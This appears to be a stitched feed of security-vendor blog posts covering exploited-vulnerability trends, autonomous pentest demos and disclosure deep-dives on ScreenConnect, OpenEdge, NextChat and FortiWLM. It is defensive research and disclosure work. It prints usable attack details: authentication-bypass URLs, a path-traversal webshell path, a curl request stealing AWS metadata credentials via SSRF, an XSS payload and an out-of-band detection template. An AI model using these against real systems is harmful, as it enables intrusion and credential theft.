Figure 2. Vulnerabilities due to Memory Corruption
Nearly 20% of vulnerabilities in Figure 1 are the result of routing and path abuse in web applications. These vulnerabilities typically manifest in the “glue” between web frameworks when a developer attempts to route application traffic from one service to another.
Vulnerabilities fall into this category when:
This isn’t a new trend, but its clear from the analysis that they are the target of choice coming in at 49%. They’re commonly found on network boundaries and exposed to the internet. They also have low defender visibility – no PSP’s installed and sparse logging.
Figure 3. Vulnerability by Software Type
For the purpose of this analysis, appliances are any product or software that is commonly deployed as a hardware appliance or as a virtual appliance.
There are 212 vulnerabilities that have been added to the CISA KEV catalog since the start of 2023. Of that, only 41 vulnerabilities are rated critical. Below is a snapshot of those 41 vulnerabilities and the root cause leading to the vulnerability being exploitable.
Category: Routing / Path Abuse
Reference: Horizon3.ai
The application exposed an endpoint, /moveitisapi/moveitisapi?action=m2
, that attempted to limit functionality to just localhost, but had a header parsing bug leading to any function being reachable.
Figure 4. Header Bypass to Invoke Arbitrary Function
Category: Routing / Path Abuse
Reference: @SinSinology
A lax rewrite rule in the appliance’s Nginx configuration allowed an attacker to reach services which were meant to be unexposed. The request /saas./resttosaasservlet
will route to /resttosaasservlet
.
Figure 5. nginx Routing Bypass
Category: Routing / Path Abuse
Reference: Horizon3.ai
The appliance’s routing rules for which requests required authentication did not account for double URL encoded paths.
Figure 6. Double URL Encoded Path Authentication Bypass
Category: Insecure Exposed Function
Reference: Rapid7
The application insecurely exposed an endpoint that calls Java’s getRuntime().exec()
with an attacker controlled variable.
Figure 7. FilterServerUtil getRuntime().exec()
Category: Insecure Exposed Function
Reference: Rapid7
The application insecurely exposed an endpoint, /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
, that allows modification to the server’s configuration state. Setting this state to false allows an attacker to re-enter application setup and add an administrative user.
Figure 8. Exposed Configuration Endpoint
Category: Insecure Exposed Function
Reference: Huntress
The application exposed an endpoint, /userentry?accountId=/../../../tomcat/webapps/<webshell_dir>
, which wrote attacker controlled data to a filepath also influenced by the attacker, but vulnerable to path traversal in the parameter.
Category: Insecure Exposed Function
Reference: VulnCheck
The application insecurely exposed an endpoint, /index.php?c=blocked&action=continue
, which did not sufficiently sanitize user input which results in second-order command injection.
Figure 10. Sanitization Bypass to Command Injection
Category: Insecure Exposed Function
Reference: Horizon3.ai
The application insecurely exposed an endpoint, /app?service=page/SetupComplete
, used for first time administrator login during the install process.
Figure 11. Exposed SetupComplete formSubmit()
Category: Request Smuggling
Reference: Praetorian
The appliance used a custom Apache library which contained a known request-smuggling vulnerability: CVE-2022-26377. By abusing this vulnerability, with specific considerations for the F5 application stack, authentication bypass was achieved.
Figure 12. Request Smuggling Payload
Category: Default Secret
Reference: Horizon3.ai
The application sets the underly Flask SECRET_KEY to a default value. This secret key is used to create session tokens, which can be forged when the secret key is known.
Category: Insecure Exposed Function
Reference: Project Discovery
The application exposed an insecure function at the endpoint, /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true
, which called a dangerous Java sink with attacker controlled input leading to deserialization.
Figure 14. Call to WDDXDeserialize() with Attacker Controlled Input
The lions share of vulnerabilities that are being exploited in the last year are trivial to exploit. While memory safe languages like Rust may help eliminate some of portion of breaches, there is much work to do to address the risk that comes with building complex software systems.
Looking at 2024 and beyond my advice would be:
We’re already seeing similar trends in 2024 with the recently exploited Ivanti Connect Secure vulnerabilities back-to-back – more path abuse and SSRF to “RCE-as-a-feature” code. An interesting attack surface surrounding application re-initialization vulnerabilities has sprung up this last year and I think we’ll continue to see similar vulnerabilities discovered.
This analysis is made possible by the collective information security community publishing their analysis and research to the world. The following organizations or people were referenced while performing this research:
Rapid7, Mandiant, Project Discovery, Praetorian, VulnCheck, Huntress, SonarSource, AssetNote, BishopFox, Lexfo, Palo Alto Networks, and many more.
This is an analysis based on my observations as both a software engineer and a vulnerability researcher. The analysis likely has bias and shortcoming stemming from:
The full spreadsheet of all 41 vulnerabilities and their analysis can be found here.
This research was done in preparation for a talk I’ll be giving at RingZer0’s BOOTSTRAP conference on Friday, February 23. I’ll briefly touch on this research along with vulnerability research I’ve conducted against Fortinet appliances over the last year that fall directly in line with the trends highlighted here.
The post Rust Won’t Save Us: An Analysis of 2023’s Known Exploited Vulnerabilities appeared first on Horizon3.ai.
On January 19, 2024, Microsoft disclosed a major security incident in which the email of Microsoft senior executives and other staff were accessed by Midnight Blizzard a.k.a Cozy Bear, a nation-state threat actor affiliated with Russia. Microsoft determined that the actor got initial access using password spray to compromise a legacy non-production test tenant account in Microsoft Entra ID (formerly Azure AD). The actor then moved laterally using the excessive permissions granted to that test account to access the email of Microsoft employees.
Password spray is a surprisingly simple and effective technique we’ve written about before. In a password spray attack, an attacker tries to login to a lot of accounts using a few probable passwords, with the hope that at least one account is using a weak password.
In this real-world external pentest, we’ll show NodeZero conducting a password spray attack against Microsoft Entra ID to get initial access to a client’s tenant account, similar to what Midnight Blizzard did. From there NodeZero detects that multi-factor authentication is disabled and breaks into the email of the compromised user.
In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials.
When defining the assets in scope for this pentest, the client provided NodeZero a list of company-owned domains. NodeZero uses these domains to enumerate Azure tenants that belong to the client.
In the Attack Configuration for the pentest, the MS Entra (Azure AD) Password Spray
flag was also enabled. This is on by default.
To avoid locking out accounts, NodeZero only attempts three passwords an hour. A duration of time can be set for how long the pentest runs, in order to get in more password spray attempts.
Here are the steps NodeZero took in this test to get to business email compromise:
The full attack path is shown below:
It took NodeZero less than 10 minutes to execute this attack path leading to business email compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.
The impact of business email compromise is huge. Not only can attackers access potentially sensitive data, they can use the compromised account to conduct lateral phishing attacks and further escalate privileges.
Microsoft has been rolling out MFA for all its tenants, but in practice we’ve seen that there have been gaps in this rollout, just as Microsoft experienced with its own legacy test tenant. The application of MFA also depends on how the tenant is configured. Use NodeZero to verify your true security posture!
The post NodeZero APT: Azure Password Spray Leads to Business Email Compromise appeared first on Horizon3.ai.
“Who cares that the intern was phished during our phishing campaign? It’s an intern, they don’t have access to anything important.”
As a security practitioner, that mindset among business leaders drove me nuts. There are many ways a credential as innocuous as an intern’s could be used by an attacker to compromise a domain or gain access to sensitive data, but it was very difficult to articulate the “blast radius” of a phished credential.
That’s why I’m really excited to launch the new Phishing test type within NodeZero…
The NodeZero Phishing Impact test is first-to-market and gives you the ammunition required to drive meaningful improvements to the credential attack surface of your organization.
“Actually boss, the intern’s credentials enabled the attacker—NodeZero—to gain access to our sensitive financial data. Take a look for yourself…”
Why is understanding the blast radius of a phished credential important? Here’s a real-world example of how a phished credential led to a domain admin compromise…
Setup:
Attack path:
tl;dr PrintNightmare is the CVE that enabled the attack path. An attacker requires a valid domain user credential in order to exploit Printnightmare. In this case, the attacker – NodeZero – successfully obtained that valid domain user credential via the phishing integration.
In addition, the customer had to investigate why their EDR did not successfully stop the deployment of the RAT on the compromised host, which provided the second critical step in the journey to domain admin compromise.
The post Gone Phishing: How an Intern’s Credentials can be a Gateway to Your Crown Jewels appeared first on Horizon3.ai.
Business Wire 02/07/2024
Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its first-to-market Phishing Impact test capability within NodeZero™. This new capability marks a significant…
The post Horizon3.ai Unveils Phishing Impact Testing to Help Organizations Understand the Impact of Phished Credentials appeared first on Horizon3.ai.
Horizon3.ai introduces a groundbreaking test type in its NodeZeroTM platform: the Phishing Impact test. It delivers tangible insights into the potential consequences of phishing attacks on your organization’s infrastructure.
The post Introducing the NodeZero Phishing Impact Test appeared first on Horizon3.ai.
On February 19, 2023, ConnectWise published a security advisory for their ScreenConnect remote management tool. In the advisory, they describe two vulnerabilities, an authentication bypass with CVSS 10.0 and a path traversal with CVSS 8.4 (both currently without assigned CVE IDs). In this post we will dive into the technical details of the authentication bypass. You can view our POC here.
Update: On February 21, 2023, the authentication bypass vulnerability was assigned as CVE-2024-1709 and added to CISA’s Known Exploited Vulnerability (KEV) catalog.
Comparing versions 23.9.7.8804 and 23.9.8.8811, we find a small update to SetupWizard.aspx
. We see that a check was added to make sure that the initial application setup has not been completed if a user it trying to access the SetupWizard. The SetupWizard is responsible for creating an initial user and password, so it makes sense that this page should be locked down after an initial user has been created.
Figure 1. SetupWizard.aspx
There is a HTTP request filter in SetupModule.cs
that has two responsibilities:
SetupWizard.aspx
SetupWizard.aspx
or redirect to Administration.aspx
Figure 2. SetupModule.cs OnBeginRequest
However, there is an issue with how this code checks if the request URL is SetupPage.aspx
. The use of string.Equals
checks for exact equality, so a URL like <app_url>/SetupWizard.aspx
will match. However, there are other URLs that resolve to SetupWizard.aspx
that don’t match. If we simply add a forward slash to the end of the URL (<app_url>/SetupWizard.aspx/
) we get access to the setup wizard, even after the application is already setup.
Figure 3. SetupWizard.aspx
We can observe the differences in responses using Burp Suite. Notice the request path /SetupWizard.aspx
responds with a 302, but the malicious path /SetupWizard.aspx/
responds with a 200.
The application’s Admin -> Audit page displays a list of recent login attempts along with the IP address. You can check this page for any unrecognized users or IP addresses.
As soon as we had sufficient information, we shared it with GreyNoise for which they developed a tag. Check out their tag here: https://viz.greynoise.io/tags/connectwise-screenconnect-auth-bypass-rce-attempt?days=1
This vulnerability allows an attacker to create their own administrative user on the ScreenConnect server, giving them full control over the server. This vulnerability follows a theme of other recent vulnerabilities that allow attackers to reinitialize applications or create initial users after setup. See our recent writeup for a CVE-2024-0204 as an example.
Unfortunately, this vulnerability has not yet been assigned a CVE. Users of ConnectWise ScreenConnect should patch immediately to prevent attackers from leveraging this vulnerability.
Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.
Figure 5. NodeZero Attack Path to Exploitation
Figure 6. Proof of Accessing the SetupWizard.aspx page
The post ConnectWise ScreenConnect: Authentication Bypass Deep Dive appeared first on Horizon3.ai.
You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.
The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.
Business Wire 03/05/2024
Horizon3.ai, a pioneer in autonomous security solutions, today announced the availability of the Horizon3.ai Pentesting Services for Compliance. Horizon3.ai recognizes that demand for pentesting expertise is at an all-time high…
The post Horizon3.ai Unveils Pentesting Services for Compliance Ahead of PCI DSS v4.0 Rollout appeared first on Horizon3.ai.
On February 27, 2024, Progress released a security advisory for OpenEdge, their application development and deployment platform suite. The advisory details that there exists an authentication bypass vulnerability which effects certain components of the OpenEdge platform. Our proof of concept can be found here.
When the OpenEdge Authentication Gateway (OEAG) is configured with an OpenEdge Domain that uses the OS local authentication provider to grant user-id and password logins on operating platforms supported by active releases of OpenEdge, a vulnerability in the authentication routines may lead to unauthorized access on attempted logins.
Similarly, when an AdminServer connection is made by OpenEdge Explorer (OEE) and OpenEdge Management (OEM), it also utilizes the OS local authentication provider on supported platforms to grant user-id and password logins that may also lead to unauthorized login access.
The OpenEdge platform has several different components that can be deployed across an environment:
Typically the OpenEdge Management, OpenEdge Enterprise RDBMS, and PAS roles are deployed on a system and act as the backend, central source of information for developers using PDS as clients to develop applications. If an the Authentication Gateway is in use, it centrally manages authentication across the OpenEdge ecosystem.
Figure 1. Example OpenEdge Deployment
In this case, we were unable to obtain a patched system to perform patch diffing, but there are quite a few interesting details that can be picked from the advisory. The advisory states: “The AdminServer logins are always potentially vulnerable because they only support OS local logins”. Additionally the temporary mitigations specify:
The following mitigation options are intended for short-term use until you can apply the provided OpenEdge Update to your deployments. The revised “auth.dll” library associated with the OS you’re using should be copied into $DLC/bin to replace the vulnerable version of the “auth.dll” library that existed in LTS Updates 11.7.18, 12.2.13 or 12.8.0.
Given this information, we install OpenEdge Manager, RDBMS, and PAS on a single Windows server and inspect the installed services with TaskManager and find that these roles will start the vulnerable “AdminServer” service referenced in the advisory.
Figure 2. AdminServer service running
Now that we have the vulnerable component running – an often overlooked part of reversing is spending hours reading documentation, we find documentation on the AdminServer service and what its used for. The documentation states that its a Java RMI service listening by default on tcp/20931 and references several command line utilities to communicate with the service:
- This is the RMI port used by command line utilities: proadsv, asbman, wtbman, nsman, restman, and pre OpenEdge 12.0 fathom cmd line tooling
- The default listening port for the AdminServer (-port) remains 20931 for all versions.
Inspecting our listening connections on the Windows server, we find that the AdminServer is indeed listening on tcp/20931.
Figure 3. AdminServer service listening
Inspecting the command use to kick off the Java process we find it’s loading several Progress JARs and calling com.progress.chimera.adminserver.AdminServerStarter
.
Figure 4. AdminServer command line
We find that the com.progress.chimera.adminserver.AdminServerStarter
class is defined in C:\Progress\OpenEdge\java\progress.jar
. Inspecting the class, we find that when a remote connection is made the connect()
method is called and expects a user supplied username and password.
Figure 5. AdminServer connect()
The connect()
method interestingly loads a native system library, auth.dll
, and eventually calls the authorizeUser()
method defined in it. Replacing auth.dll
was mentioned in the temporary mitigations so we’re likely on the right track.
Opening up auth.dll
in Ghidra, we find that it exports several functions to be available as Java interfaces, one of which is our authorizeUser()
function.
Figure 7. Java Interfaces from auth.dll
The authorizeUser()
function performs some basic input validation, ensures the supplied credentials meet certain criteria, and passes control to a function we named vulnerable_checks()
(defined at 0x1800051a0). This function does further validation, but getting right into the meat of the vulnerability we see that on line 262 the user supplied AccountName (username) is compared the NT AUTHORITY/SYSTEM
. If it matches, you are authenticated.
Figure 8. If username == “NT AUTHORITY/SYSTEM”: you may pass
Thats the vulnerability.
While we’ve bypassed authentication, finding attack surface to abuse to drive some impact like remote code execution was the next goal.
Java Remote Method Invocation (RMI) interfaces typically suffer from deserialization vulnerabilities, but in this case there were no classic libraries in the class path of the service to easily abuse with a ysoserial gadget. We did confirm that deserialization is possible with a simple out-of-band DNS request payload, but did not spend the time to develop a custom gadget with the in scope libraries. Remote code execution is likely possible with this avenue.
We spent the better part of a day looking for easily abusable functionality within the available RMI interfaces. Easily reachable functionality allows a user to start, stop, and list performance metrics of applications. Deeper attacker surface looks like it may allow a user to deploy new applications via remote WAR file references, but the complexity increased dramatically in order to reach this attack surface because of the use of internal service message brokers and custom messages. We believe there is again likely an avenue to remote code execution via built in functionality given enough research effort.
We continue our investigation by re-examining the AdminServer
class and dbman.bat
which makes use of the AdminServer
. We find that we can connect to the AdminServer
over RMI at rmi://<target_ip>:29031/Chimera
. We get back an IAdminServerConnection
which exposes two connect
methods that require a username and password. With our knowledge from dbman.bat
we know we need to encode the username and password using an Encoder
from oeauth-12.8.0.jar
.
Now that we are connected to the AdminServer
, what can we do? We can use the following code to display all interfaces available to us from the AdminServer
‘s getPlugins
method:
We get the following output:
com.progress.system.SystemPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.system.ISystemPlugIncom.progress.agent.database.AgentPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.agent.database.IAgentPlugIn
com.progress.ubroker.tools.NSRemoteObject
com.progress.chimera.common.IChimeraHierarchy
com.progress.ubroker.tools.IYodaRMI
com.progress.ubroker.tools.IYodaSharedResources
com.progress.ubroker.tools.UBRemoteCommand
com.progress.chimera.common.IChimeraRemoteCommand
com.progress.juniper.admin.JAPlugIn
com.progress.chimera.common.IChimeraRemoteObject
com.progress.juniper.admin.IJAPlugIn
com.progress.agent.smdatabase.SMPlugIn
com.progress.chimera.common.IChimeraRemoteObject
From here, we leave it as an exercise to the reader to figure out what you can do with the above interfaces. Our proof of concept can be found here.
NOTE: We will not be distributing the Progress JARs given we do not own that code. These JARs can be obtained from an OpenEdge installation and are required to run the proof of concept.
When a connection is made to the AdminServer service, logs are generated at C:\OpenEdge\WRK\admserv
. An example log entry can be seen below where it records the user authenticating as well as the Java interfaces that user is accessing, the UBRemoteCommand class in our case. While it seems that accessing this service via the NT AUTHORITY/SERVICE account was intended, we did not observe log entries associated to this account outside of service startup. We also were not running a production server where more service traffic may be generated and observed.
The post CVE-2024-1403: Progress OpenEdge Authentication Bypass Deep-Dive appeared first on Horizon3.ai.
With the advent of generative AI, AI chatbots are everywhere. While users can chat with large-langage models (LLMs) using a SaaS provider like OpenAI, there are lots of standalone chatbot applications available for users to deploy and use too. These standalone applications generally offer a richer user interface than OpenAI, additional features such as the ability to plug in and test different models, and the ability to potentially bypass IP block restrictions.
From our research, the most widely deployed standalone Gen AI chatbot is NextChat, a.k.a ChatGPT-Next-Web. This is a GitHub project with 63K+ stars and 52K+ forks. The Shodan query title:NextChat,"ChatGPT Next Web"
pulls up 7500+ exposed instances, mostly in China and the US.
This application is vulnerable to a critical full-read server-side request forgery (SSRF) vulnerability, CVE-2023-49785, that we disclosed to the vendor in November 2023. As of this writing, there is no patch for the vulnerability, and since 90+ days has passed since our original disclosure, we are now releasing full details here.
NextChat is a Next.js-based Javascript application, and most of its functionality is implemented as client-side code.
There are, however, a few exposed server endpoints. One of these endpoints is at /api/cors, and it functions by design as an open proxy, allowing unauthenticated users to send arbitrary HTTP requests through it. This endpoint appears to have been added to support saving client-side chat data to WebDAV servers. The presence of this endpoint is an anti-pattern: it allows clients to bypass built in browser protections for accessing cross-domain resources by accessing them through a server-side endpoint instead.
For instance to access Google through this proxy, one can make the following request:
SSRF vulnerabilities vary considerably in terms of real-world impact. This particular SSRF is about as bad as it gets. It’s dangerous because:
method
header. Request bodies are also passed along.Authorization
header in requests.If this application is exposed on the Internet, an attacker essentially has full access to any other HTTP resources accessible in the same internal network as the application. The only limitation is passing along other headers such as Cookie
or Content-Type
, though there may be creative ways to inject these headers.
Here’s an example of accessing the AWS cloud metadata service to retrieve AWS access keys off an AWS EC2 instance running with IMDSv1 enabled:
sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
"Code" : "Success",
"LastUpdated" : "2024-03-08T00:22:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA-REDACTED",
"SecretAccessKey" : "C2CW-REDACTED",
"Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
"Expiration" : "2024-03-08T06:58:15Z"
}
Almost all reflected XSS vulnerabilities are of little value to attackers. But we thought it was interesting to note that this vulnerability can be used to directly trigger an XSS without loading another site. This is because the fetch
method used by the /api/cors
endpoint also supports the data
protocol.
For instance, the following payload:
data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
will be decoded to <script>alert(document.domain)</script>
at the server and sent back to the client, resulting in XSS:
Our assessment of this vulnerability puts the CVE base score at 9.1 (critical). The vulnerability not only enables read access to internal HTTP endpoints but also write access using HTTP POST, PUT, and other methods. Attackers can also use this vulnerability to mask their source IP by forwarding malicious traffic intended for other Internet targets through these open proxies.
As of this writing, there is no patch for the vulnerability. More than 90 days has passed since our original contact.
We recommend that users not expose this application on the Internet. If it must be exposed to the Internet, ensure it is an isolated network with no access to any other internal resources. Beware that attackers can still use the application as an open proxy to disguise malicious traffic to other targets through it.
The following nuclei template can be used to detect this vulnerability. The vulnerable code was introduced in Sept. 2023. The majority of instances online, including any instances using the more recent “NextChat” name, are highly likely to be vulnerable.
id: CVE-2023-49785
info:
name: CVE-2023-49785
author: nvn1729
severity: critical
description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
remediation: |
Do not expose to the Internet
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2023-49785
tags: cve-2023-49785,ssrf,xss
http:
- method: GET
path:
- "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
- "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS interaction from second request
words:
- "dns"
- type: dsl
dsl:
- 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request
- 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server
Over the last two years, we have observed the rapid pace of development of new generative AI applications, and there is a big appetite to use and experiment with these applications. We’ve also observed a steady blurring of lines between personal use and corporate use. While NextChat is primarily meant for personal use, we’ve seen it in a few of our own client environments.
Security has simply not kept up, both AppSec practices and vulnerability disclosure processes. The focus of the infosec community and media at large has been on “security harms” like prompt injection or model poisoning, but there are lots of high impact, conventional vulnerabilities to be found. We recommend users exercise caution when exposing any unvetted Gen AI tools to the Internet.
The post NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To appeared first on Horizon3.ai.
You can now fully assess the impact of phished credentials on your organization. Tune into this webinar to watch the NodeZero platform evaluating the blast radius of every phished credential as it comes in using the Phishing Impact test.
The post What’s the true impact on your organization when an employee is phished? appeared first on Horizon3.ai.
Early in 2023, soon after reproducing a remote code execution vulnerability for the Fortinet FortiNAC, I was on the hunt for a set of new research targets. Fortinet seemed like a decent place to start given the variety of lesser-known security appliances I had noticed while searching for the FortiNAC firmware. The first target I landed on was the Fortinet Wireless LAN Manager (WLM). The security audit of this appliance began what became the successful, but failed journey of what I dubbed the “Forti Forty” – a goal to find 40 CVE’s in Fortinet appliances. The journey ended in 16 mostly critical and high security issues identified across the FortiWLM, FortiSIEM, and another appliance before it was cut short when Fortinet’s download portal no longer provided access to download their appliances.
This blog details several of the issues discovered in the FortiWLM that have since been patched:
Additionally two vulnerabilities that have not received patches leading to appliance compromise:
Fortinet’s Wireless LAN Manager allows for ease of management of wireless devices throughout an enterprise. It remotely monitors the devices health, performance, and any RF interference all in a single pane of glass. It’s commonly deployed in large campus settings like universities, hospitals, and other large office footprints – making it a valuable target of interest in today’s threat landscape.
Figure 1. FortiWLM Dashboard
The FortiWLM web services are built atop the Apache2 and Django frameworks. The Apache configuration has defined several rewrite rules from the frontend on tcp/443 and passes them back to the Django framework middleware which listens on localhost tcp/8000.
The core of the Django middleware logic lies within the /opt/meru/etc/ws/wlmweb directory. Inspecting the file /opt/meru/etc/ws/wlmweb/wlmweb/wlmrbac.py, within the process_view() function, we see that several endpoints depending on the request path are validated against the current requests session authentication information.
On line 86, the two endpoints are explicitly allowed for any request without any authentication checks:
Figure 2. wlmrbac.py authentication checks
CVE-2023-34993: Fortinet FortiWLM Unauthenticated Command Injection Vulnerability
This vulnerability allows remote, unauthenticated attackers to inject a crafted malicious string in a request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint that will be executed in the context of root. The issue results from the lack of proper validation of results and calls to the potentially dangerous function system().
The first endpoint explicitly allowed without authentication, /ems/cgi-bin/ezrf_upgrade_images.cgi, can be found at /opt/meru/etc/ws/cgi-bin/ezrf_upgrade_images.cgi. All CGI endpoints are Perl scripts which, depending on the endpoint, parse different request parameters which are sometimes validated, but sometimes not.
This ezrf_upgrade_image.cgi endpoint parses the op_type request parameter, and depending on the value, passes control to different defined functions within the script.
Figure 3. ezrf_upgrade_images.cgi operation types
The deleteprogressfile() function extracts the progressfile request parameter and then directly passes it to a call to system() without any input validation.
Figure 4. ezrf_upgrade_images.cgi’s vulnerable deleteprogressfile()
Sending a request to this unauthenticated endpoint with op_type=deleteprogressfile and a malicious string in the progressfile parameter results in remote code execution in the context of the root user.
Figure 5. Unauthenticated RCE as root via ezrf_ugprade_image.cgi endpoint
CVE-2024-???? (0-day): Fortinet FortiWLM Unauthenticated Limited File Read Vulnerability
This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to read specific log files on the system via a crafted request to the /ems/cgi-bin/ezrf_lighttpd.cgi endpoint. This issue results from the lack of input validation on request parameters allowing an attacker to traverse directories and read any log file on the system.
The second endpoint explicitly allowed without authentication, /ems/cgi-bin/ezrf_lighttpd.cgi, can be found at /opt/meru/etc/ws/cgi-bin/ezrf_lighttpd.cgi. Again, this CGI endpoint is a Perl script in which different request parameters are not always validated.
When the op_type is upgradelogs, control is passed to the upgradelogs() function. This function will read the specific log file from the system and return its content in the response.
Figure 6. ezrf_lighttpd.cgi upgradelogs() function
Inspecting how the $filename variable is constructed we see that it is partially controlled by the imagename request parameter.
Figure 7. ezrf_lighttpd.cgi attacker controlled input unvalidated
Abusing the lack of input validation, an attacker can construct a request where the imagename parameter contains a path traversal, allowing the attacker to read any log file on the system.
Luckily for an attacker, the FortiWLM has very verbose logs – and logs the session ID of all authenticated users. Abusing the above arbitrary log file read, an attacker can now obtain the session ID of a user and login and also abuse authenticated endpoints.
Figure 8. Leak Session ID with Unauthenticated Arbitrary Log File Read
CVE-2023-48782: Fortinet FortiWLM Authenticated Command Injection Vulnerability
This vulnerability allows remote, authenticated attackers to inject a crafted malicious string in a request to the /ems/cgi-bin/ezrf_switches.cgi endpoint that will be executed in the context of root. The issue results from the lack of proper validation of results and insecure use of the dangerous system calls. This endpoint is accessible for both low privilege users and admins.
The ezrf_switches.cgi endpoint supports several op_type subfunctions related to adding a LAN switch for monitoring. This CGI script can be found at /opt/meru/etc/ws/cgi-bin/ezrf_switches.cgi.
The updateStatus() helper function, called in two different op_type functions, is vulnerable to command injection of both the $switche_table_k_Hostname and $switche_table_k_CommunityString variables which are derived from user input.
Figure 9. ezrf_switches.cgi vulnerable updateStatus()
Both addSwitche() and editSwitche() functions call the vulnerable updateStatus() helper function without validating any input.
Figure 10. ezrf_switches.cgi addSwitche() calls updateStatus()
Tracing those variables to where they are declared, they are derived straight from the request parameters Hostname and CommunityString, and are never validated along the way.
Figure 11. ezrf_switches.cgi request parameters unvalidated
Combining both the unauthenticated arbitrary log file read and this authenticated command injection, an unauthenticated attacker can obtain remote code execution in the context of root.
Figure 12. Abusing Unauth Log Read and Auth Command Injection to obtain root RCE
The initial report to Fortinet contained a total of 9 specific security issues, largely concentrated on the unauthenticated endpoints discovered in the Django middleware. The authenticated attack surface is large, and at the time contained numerous issues that were similar in nature to the ones detailed here stemming from a lack of input validation. Two additional security issues of note reported and patched, but unused in the attack paths were:
CVE-2023-42783: Fortinet FortiWLM Unauthenticated Arbitrary File Read Vulnerability
This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to read specific log files on the system via a crafted request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint in the uploadstatus function with the progressfile parameter. This issue results from the lack of input validation on request parameters allowing an attacker to traverse directories and read any file on the system.
CVE-2023-34991: Fortinet FortiWLM Unauthenticated SQL Injection Vulnerability
This vulnerability allows remote, unauthenticated attackers to access and abuse builtin functionality meant to list images on the system via a crafted request to the /ems/cgi-bin/ezrf_upgrade_images.cgi endpoint in the editimage function with the imageName and description parameters. This issue results from the lack of input validation on request parameters allowing an attacker to modify a SQL query string.
CVE-2024-???? (0-day): Fortinet FortiWLM Static Session ID Vulnerability
The web session ID token of authenticated users remains static, and unchanged, for users between sessions. Each time a user logs in, they receive the exact same session ID token. This token remains static for each boot of the device. An attacker that can obtain this token can abuse this behavior to hijack sessions and perform administrative actions. This session ID is retrievable with the unpatch limited log file read vulnerability above and can be user to gain administrative permissions to the appliance.
While we found it to be popular with State, Local, and Education (SLED) and healthcare focused customers, luckily the internet exposure is fairly limited to around 15 instances.
Figure 13. Shodan Exposure
The FortiWLM logs the majority of its application activities in the /data/apps/nms/logs directory. Specifically activity related to the exploitation these issues can be observed in the /data/apps/nms/logs/httpd_error_log.log file. Example entries of the log file included below show the exploitation of the unauthenticated remote code execution vulnerability, CVE-2023-34993. If defenders suspect that an appliance has been compromised, the logged request parameters should be analyzed to determine if they appear malicious.
Figure 14. httpd_error_log.log example entry
12 May 2023 – Submitted report to Fortinet PSIRT
15 May 2023 – PSIRT acknowledges receipt
10 July 2023 – PSIRT reproduces issues and indicates fix is in-progress
10 August 2023 – Ask for update, PSIRT responds fix is awaiting release
11 October 2023 – PSIRT releases fixes for 2 reported issues
14 November 2023 – PSIRT releases fixes for 2 more reported issues
21 November 2023 – Indicate to PSIRT of intent to publicly disclose all issues
22 November 2023 – PSIRT indicates remaining 3 vulnerabilities will be patched soon
7 December 2023 – PSIRT releases 1 fix for more reported issues
23 February 2024 – RingZer0 conference talk discussing some of these vulnerabilities
14 March 2024 – This public disclosure after 307 days with two unpatched vulnerabilities
The post Fortinet FortiWLM Deep-Dive, IOCs, and the Almost Story of the “Forti Forty” appeared first on Horizon3.ai.